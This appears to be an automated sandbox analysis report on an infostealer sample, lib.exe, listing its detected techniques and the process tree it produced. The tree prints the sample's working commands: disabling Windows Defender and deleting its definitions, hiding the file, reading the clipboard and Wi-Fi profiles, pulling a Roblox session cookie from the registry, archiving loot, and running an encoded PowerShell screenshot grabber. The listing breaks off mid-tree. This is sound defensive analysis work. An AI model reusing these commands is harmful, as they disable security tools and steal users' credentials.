Overview

overview

10

Static

static

10

lib.exe

windows10-2004-x64

8

lib.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 16:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lib.exe
  • Size 10.3MB
  • Sample260708-vb7mdsdz8w
  • SHA256 4856319325a833da3168a95cdba27a106c2766f1f3a7561064d2a13eb4ca6976
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecollectiondefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarespywarestealerupx

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 18 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 3 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\lib.exe
    "C:\Users\Admin\AppData\Local\Temp\lib.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:932
    • C:\Users\Admin\AppData\Local\Temp\lib.exe
      "C:\Users\Admin\AppData\Local\Temp\lib.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5828
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lib.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4440
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lib.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2420
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2836
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4728
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:4536
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\lib.exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:5760
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Users\Admin\AppData\Local\Temp\lib.exe"
          4⤵
          • Views/modifies file attributes
          PID:4984
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4876
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3820
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:5924
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5892
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3384
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:980
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4252
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:1336
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1368
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5908
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:6116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5200
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:1756
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:972
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:3356
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:2852
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:5284
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2020
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:1076
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2160
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              4⤵
                PID:2640
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1836
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:5740
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\24okpeog\24okpeog.cmdline"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2860
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4CBF.tmp" "c:\Users\Admin\AppData\Local\Temp\24okpeog\CSC8AB32F9C35E6492598591B93BCCF3CEB.TMP"
                    6⤵
                      PID:2124
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5888
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:1948
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:6064
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:3388
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2448
                    • C:\Windows\system32\attrib.exe
                      attrib -r C:\Windows\System32\drivers\etc\hosts
                      4⤵
                      • Drops file in Drivers directory
                      • Views/modifies file attributes
                      PID:792
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1300
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:3640
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4856
                      • C:\Windows\system32\attrib.exe
                        attrib +r C:\Windows\System32\drivers\etc\hosts
                        4⤵
                        • Drops file in Drivers directory
                        • Views/modifies file attributes
                        PID:1640
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1792
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:5800
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1220
                        • C:\Windows\system32\tasklist.exe
                          tasklist /FO LIST
                          4⤵
                          • Enumerates processes with tasklist
                          PID:5820
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "getmac"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2560
                        • C:\Windows\system32\getmac.exe
                          getmac
                          4⤵
                            PID:2000
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1316
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:6120
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2780
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            4⤵
                              PID:3356
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1216
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI9322\rar.exe a -r -hp"999" "C:\Users\Admin\AppData\Local\Temp\C1D85.zip" *"
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3008
                            • C:\Users\Admin\AppData\Local\Temp\_MEI9322\rar.exe
                              C:\Users\Admin\AppData\Local\Temp\_MEI9322\rar.exe a -r -hp"999" "C:\Users\Admin\AppData\Local\Temp\C1D85.zip" *
                              4⤵
                              • Executes dropped EXE
                              PID:5584
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:5456
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic os get Caption
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5400
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                            3⤵
